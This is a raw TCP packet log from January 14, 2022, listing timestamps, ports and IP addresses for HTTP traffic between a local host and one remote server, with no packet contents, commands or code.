Jan 14, 2022 01:52:06.571341991 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.571355104 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.571410894 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.571432114 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.633061886 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.646253109 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.646317959 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.646374941 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.646406889 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.646435976 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.646486998 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.646543026 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.646549940 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.646606922 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.646661997 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.646677971 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.646719933 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.646724939 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.646771908 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.646825075 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.646830082 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.646877050 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.646929979 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.646934032 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.646981001 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.647031069 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.647082090 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.647089958 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.647139072 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.647198915 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.647205114 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.647258997 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.647264957 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.647311926 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.647365093 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.647381067 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.647416115 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.647469044 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.647485018 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.647521973 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.647571087 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.647624016 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.647639036 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.647675991 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.647728920 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.647744894 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.647783995 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.647792101 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.647847891 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.647857904 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.647912025 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.647918940 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.647962093 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.648015022 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.648020983 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.648070097 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.648123026 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.648149967 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.648180962 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.648242950 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.708069086 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.708136082 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.708350897 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.723074913 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.723148108 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.723201990 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.723244905 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.723264933 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.723320007 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.723335981 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.723375082 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.723429918 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.723481894 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.723490953 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.723535061 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.723589897 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.723597050 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.723644972 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.723649025 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.723695993 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.723748922 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.723764896 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.723802090 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.723858118 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.723860979 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.723907948 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.723963022 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.723967075 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.724018097 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.724071980 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.724088907 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.724124908 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.724174976 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.724237919 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.724241972 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.724302053 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.724319935 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.724354982 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.724410057 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.724456072 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.724469900 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.724519014 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.724536896 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.724575996 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.724627018 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.724679947 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.724690914 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.724733114 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.724783897 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.724798918 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.724839926 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.724852085 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.724910021 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.724957943 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.724978924 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.725013018 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.725065947 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.725075960 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.725106955 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.725123882 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.725176096 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.725224972 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.725234032 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.725290060 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.725295067 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.725339890 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.725394964 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.725441933 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.725455999 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.725519896 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.725570917 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.725589037 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.725857019 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.783409119 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.783476114 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.783580065 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.800556898 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.800621986 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.800676107 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.800738096 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.800791025 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.800839901 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.800899982 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.800964117 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.800968885 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.801023960 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.801029921 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.801084995 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.801086903 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.801141024 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.801199913 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.801209927 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.801256895 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.801273108 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.801317930 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.801378965 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.801394939 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.801441908 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.801501036 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.801516056 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.801558971 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.801623106 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.801641941 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.801707983 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.801759958 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.801812887 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.801820040 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.801896095 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.801907063 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.801970959 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.802025080 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.802040100 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.802077055 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.802126884 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.802180052 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.802189112 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.802233934 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.802289009 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.802297115 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.802340031 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.802396059 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.802400112 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.802452087 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.802454948 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.802501917 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.802556992 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.802561998 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.802609921 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.802665949 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.802670002 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.802720070 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.802768946 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.802824020 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.802829027 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.802874088 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.802927017 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.802938938 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.802990913 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.803035975 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.803051949 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.803105116 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.803168058 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.803170919 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.805985928 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.858558893 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.858620882 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.858701944 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.878021002 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.878081083 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.878132105 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.878151894 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.878187895 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.878241062 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.878285885 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.878290892 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.878341913 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.878365040 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.878393888 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.878443956 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.878494024 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.878509998 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.878544092 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.878596067 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.878611088 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.878648043 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.878654003 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.878695965 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.878745079 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.878761053 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.878794909 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.878843069 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.878855944 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.878892899 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.878942013 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.878951073 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.878993034 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.879041910 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.879089117 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.879103899 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.879139900 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.879189014 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.879204988 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.879237890 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.879256010 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.879287958 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.879336119 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.879349947 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.879385948 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.879437923 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.879441023 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.879489899 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.879539967 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.879553080 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.879590034 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.879637003 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.879651070 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.879687071 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.879734993 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.879743099 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.879785061 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.879836082 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.879883051 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.879890919 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.879931927 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.879981041 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.879997015 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.880028963 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.880034924 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.880078077 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.880125999 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.880141020 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.880176067 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.880237103 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.880773067 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.880825996 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.881242990 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.933648109 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.933720112 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.933773041 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.933810949 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.933821917 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.933921099 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.933974981 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.933990955 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.934027910 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.934077978 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.934096098 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.934129953 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.934180975 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.934197903 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.934231997 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.934237957 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.934283018 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.934333086 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.934343100 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.934384108 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.934439898 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.934444904 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.934531927 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.934591055 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.934643030 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.934653044 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.934695005 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.934746027 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.934753895 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.934797049 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.934799910 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.934851885 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.934901953 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.934916973 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.934952974 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.935003042 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.935017109 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.935054064 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.935101986 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.935113907 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.935153008 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.935241938 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.955131054 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.955194950 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.955246925 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.955305099 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.955318928 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.955358028 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.955358982 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.955410004 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.955461979 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.955511093 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.955529928 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.955579042 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.955631018 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.955646038 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.955679893 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.955709934 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.955730915 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.955780983 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.955831051 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.955843925 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.955882072 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.955930948 CET	80	49922	141.8.194.74	192.168.2.3
